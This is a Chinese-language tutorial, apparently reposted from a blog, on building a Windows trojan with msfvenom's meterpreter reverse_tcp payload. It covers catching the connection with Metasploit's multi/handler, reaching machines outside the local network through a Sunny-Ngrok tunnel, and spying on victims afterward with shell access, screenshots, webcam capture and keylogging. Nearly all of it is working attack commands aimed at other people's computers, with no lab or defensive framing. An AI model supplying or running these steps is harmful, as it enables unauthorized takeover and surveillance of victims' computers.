生成木馬文件，從而控制對(duì)方電腦（這里只能在同一個(gè)局域網(wǎng)下才能入侵）
第一步：輸入msfvenom命令生成一個(gè)payload，相關(guān)參數(shù)與命令如下：
-p：使用反向遠(yuǎn)程控制程序“windows/meterpreter/reverse_tcp”
lhost：設(shè)置kali的IP
lport：設(shè)置端口（要與下面的setlport保持一致）
-f：文件的類(lèi)型為exe類(lèi)型
-o：生成payload，名為payload.exe，保存在kali的/root目錄下
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.77 lport=5000 -f exe -o /root/tjy.exe
第二步：將生成的木馬文件發(fā)送到對(duì)方電腦
我們啟動(dòng)kali
msfconsole 進(jìn)入msfconsole
use exploit/multi/handler 使用這個(gè)漏洞輔助
設(shè)置payload為剛才反向遠(yuǎn)程控制程序名稱（windows/meterpreter/reverse_tcp）
set payload windows/meterpreter/reverse_tcp
設(shè)置一個(gè)lhost和lport，要與文章最開(kāi)始的msfvenom命令中的IP和端口保持一致
exploit 或 run
接下來(lái)我們只要等對(duì)方電腦運(yùn)行剛剛那個(gè)木馬
生成木馬文件，從而控制對(duì)方電腦（內(nèi)網(wǎng)可以入侵外網(wǎng)）
在開(kāi)始生成木馬之前，我們要先做好準(zhǔn)備工作
在kali里面要下載Sunny-Ngrok的Linux64版本，下載好后解壓
接著我們要在Sunny-Ngrok注冊(cè)登陸，這里要買(mǎi)個(gè)隧道，但是免費(fèi)的，就是認(rèn)證要花2元，這個(gè)隧道是幫助我們做內(nèi)網(wǎng)穿透的，但這個(gè)免費(fèi)的隧道服務(wù)器在美國(guó)那邊，所以有的時(shí)候可能不太好用
這里將下載好的linux64壓縮包進(jìn)行解壓
命令解壓縮：unzip linux_amd64(壓縮包名)
進(jìn)入解壓好的目錄
cd linux_amd64
啟動(dòng)隧道映射TCP服務(wù)
./sunny clientid (隧道id) 這里的隧道id看下圖
啟動(dòng)后是這樣的
接下來(lái)就是生成外網(wǎng)的木馬程序了
注意：這里lhost和lport分別為贈(zèng)送的域名和端口
msfvenom -p windows/meterpreter/reverse_tcplhost=xxx.xxx.com lport=10306 -f exe -o /root/shell.exe
接下來(lái)就是在msf中設(shè)置payload，加載攻擊模塊設(shè)置本地IP何監(jiān)聽(tīng)端口了
msfconsole 打開(kāi)msf
use exploit/multi/handler 使用這個(gè)漏洞輔助
set payload windows/meterpreter/reverse_tcp 設(shè)置payload為剛才反向遠(yuǎn)程控制程序名稱（windows/meterpreter/reverse_tcp）
set LHOST 192.168.245.140 這里設(shè)置成kali的IP
set LPORT 4444 這里是你要偵聽(tīng)的端口
這里設(shè)置的IP和偵聽(tīng)的端口后生成外網(wǎng)木馬程序時(shí)的IP和端口時(shí)不一樣的，因?yàn)槲覀冞@是內(nèi)網(wǎng)入侵外網(wǎng)
show options 查看IP端口設(shè)置情況
exploit 或 run 開(kāi)啟偵聽(tīng)
接下來(lái)我們只要等對(duì)方電腦運(yùn)行剛剛那個(gè)木馬
成功后時(shí)以下這圖
入侵成功后所能做的（這只是可以做的一部分）
getuid 獲取靶機(jī)uidmeterpreter
shell 進(jìn)入靶機(jī)shellmeterpreter
screenshot 靶機(jī)截屏meterpreter
webcam_snap 用靶機(jī)攝像頭拍照meterpreter
webcam_stream 用靶機(jī)攝像頭錄像meterpreter
keyscan_start 開(kāi)啟鍵盤(pán)記錄meterpreter
keyscan_dump 捕獲鍵盤(pán)記錄文章來(lái)源：http://www.zghlxwxcb.cn/news/detail-475800.html
keyscan_stop 停止鍵盤(pán)記錄文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-475800.html
到了這里，關(guān)于kali滲透內(nèi)網(wǎng)和外網(wǎng)的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
